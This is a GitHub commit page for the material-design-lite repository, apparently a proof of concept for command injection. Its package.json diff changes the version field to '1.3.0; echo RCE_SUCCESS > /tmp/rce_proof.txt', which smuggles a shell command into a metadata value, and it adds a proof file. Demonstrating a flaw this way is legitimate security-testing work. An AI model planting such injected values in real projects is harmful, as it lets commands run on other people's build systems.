Skip to content

Commit 025314d

Browse files
committed
PoC: Add proof file and trigger RCE via package.json version
1 parent 60f441a commit 025314d

File tree

2 files changed

+3
-2
lines changed

2 files changed

+3
-2
lines changed

package.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "material-design-lite",
3-
"version": "1.3.0",
3+
"version": "1.3.0; echo RCE_SUCCESS > /tmp/rce_proof.txt",
44
"description": "Material Design Components in CSS, JS and HTML",
55
"private": true,
66
"license": "Apache-2.0",
@@ -74,4 +74,4 @@
7474
"es2015"
7575
]
7676
}
77-
}
77+
}

poc_proof.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
RCE Proof: Command injection via package.json version

0 commit comments

Comments
 (0)